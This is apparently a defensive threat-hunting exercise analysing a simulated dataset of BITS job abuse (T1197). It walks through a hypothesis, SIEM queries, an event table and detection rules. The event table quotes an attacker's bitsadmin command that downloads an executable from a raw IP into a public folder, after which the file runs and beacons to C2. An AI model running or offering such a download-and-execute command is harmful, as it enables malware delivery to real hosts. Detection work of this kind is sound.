Threat Hunting Exercise: Analyzing Windows BITSAdmin LOLBIN Payload Download Dataset

This hunt uses a simulated endpoint dataset (windows_bitsadmin_2022-08-09T090000.json) capturing T1197: BITS Jobs, where an attacker abuses the Background Intelligent Transfer Service (via bitsadmin.exe or the BITS COM interface) to download a second-stage payload, since BITS transfers are throttled, resumable, and often excluded from egress inspection.

Step 1: Hypothesis Formation

Hypothesis: bitsadmin.exe (or a process invoking the BITS COM API) creates a transfer job that downloads an executable from an external URL to a local path, followed by execution of the downloaded file. Indicators:

Process creation: bitsadmin.exe /transfer <jobname> /download /priority high <url> <local_path>.
The destination URL is a raw IP, newly-registered domain, or a URL with no legitimate business association.
The downloaded file is written with an executable extension (.exe, .dll) or a double extension.
A subsequent process creation event executes the downloaded file shortly after job completion.

Null Hypothesis: A legitimate software update mechanism (e.g., Windows Update, an enterprise patch tool) is using BITS as designed. Invalidate by confirming the destination URL is not a Microsoft/vendor update endpoint and that no corresponding patch deployment ticket exists.

Rationale: BITS jobs persist across reboots, throttle to avoid triggering bandwidth-anomaly alerts, and are frequently allow-listed by proxies as "Windows Update-related" traffic - this hunt validates BITS job auditing as a detection layer for a technique specifically chosen to blend into normal OS update noise.

Step 2: Data Sources and Scope

Sources: Windows BITS Client Event Log (Microsoft-Windows-Bits-Client/Operational, Event ID 3, 59, 60); Sysmon Event ID 1 (Process Creation) and 11 (File Create); Proxy/firewall logs for the destination URL.
Scope: ~2022-08-09T09:00:00-09:03:00 UTC; Host: WKS-HR-027 (10.170.6.15); Parent process: powershell.exe (encoded command).
SIEM Queries (Splunk/ELK):
index=wineventlog source="Microsoft-Windows-Bits-Client/Operational" EventCode=59 | table _time Computer TransferId RemoteName LocalName
index=sysmon EventCode=1 Image="bitsadmin.exe" CommandLine="transfer" | table _time Computer CommandLine ParentImage
Post-download execution: index=sysmon EventCode=1 ParentImage="bitsadmin.exe" OR Image IN (bits_downloaded_files)

Step 3: Key Findings

Parsed events (5 shown) confirm a PowerShell-launched BITS job downloaded and executed a payload from a non-corporate domain, disguised as a Windows update component.

Timestamp (UTC)	Host	Event	Detail	IOC/Why Suspicious?
2022-08-09 09:00:05	WKS-HR-027	Sysmon 1 - Process Create	`powershell.exe -enc <base64>` spawns `bitsadmin.exe /transfer winupd /download /priority high hxxp://185.220.101.45/svc.exe C:\Users\Public\svc.exe`	LOLBIN IOC: BITS invoked via script with a job name ("winupd") mimicking legitimate Windows Update naming to blend in.
2022-08-09 09:00:06	WKS-HR-027	BITS-Client 3 (Job Created)	TransferId registered, priority=HIGH, throttled per BITS defaults	Evasion IOC: BITS traffic is frequently excluded from proxy inspection under "OS update" allow-lists.
2022-08-09 09:01:48	WKS-HR-027	BITS-Client 59 (Job Complete)	2.3 MB transferred from 185.220.101.45, a known Tor-exit-adjacent hosting range	Destination IOC: source IP has no association with Microsoft or any approved software vendor.
2022-08-09 09:01:50	WKS-HR-027	Sysmon 11 - File Create	`C:\Users\Public\svc.exe` written	Location IOC: world-writable public folder, not a standard installation path.
2022-08-09 09:02:05	WKS-HR-027	Sysmon 1 - Process Create	`svc.exe` executed, immediately beacons to 185.220.101.45:443	Execution IOC: downloaded payload executed within 15 seconds of transfer completion and established C2 callback.

Validation:

Timeline: encoded PowerShell → BITS job creation → download → immediate execution and beaconing, all within 2 minutes - an automated delivery chain, not incidental BITS usage.
False Positives: the destination IP is not on the approved vendor/CDN list; no patch management ticket authorizes deployment to WKS-HR-027 via BITS.
Correlation: encoded PowerShell parent, non-corporate destination, public-folder write, and immediate C2 beacon together confirm malicious BITS abuse.

Step 4: Recommendations & Next Steps

Immediate Response: Cancel the BITS job (bitsadmin /cancel winupd); isolate WKS-HR-027; delete svc.exe; block 185.220.101.45 at the perimeter; retrieve and decode the original PowerShell command for full delivery-chain attribution.
Detection: Sigma-style rule: title: BITSAdmin Download to Non-Approved Destination → selection: Image="bitsadmin.exe" AND CommandLine="download" AND RemoteName NOT IN approved_cdn_list.
Pro Tip: Enable BITS job logging (Microsoft-Windows-Bits-Client/Operational) domain-wide by default - it is disabled or unmonitored in most environments despite being a native, high-fidelity log source for this exact technique.

Hypothesis confirmed - an attacker used an encoded PowerShell command to create a BITS transfer job that downloaded and executed a C2 payload disguised as a Windows Update component!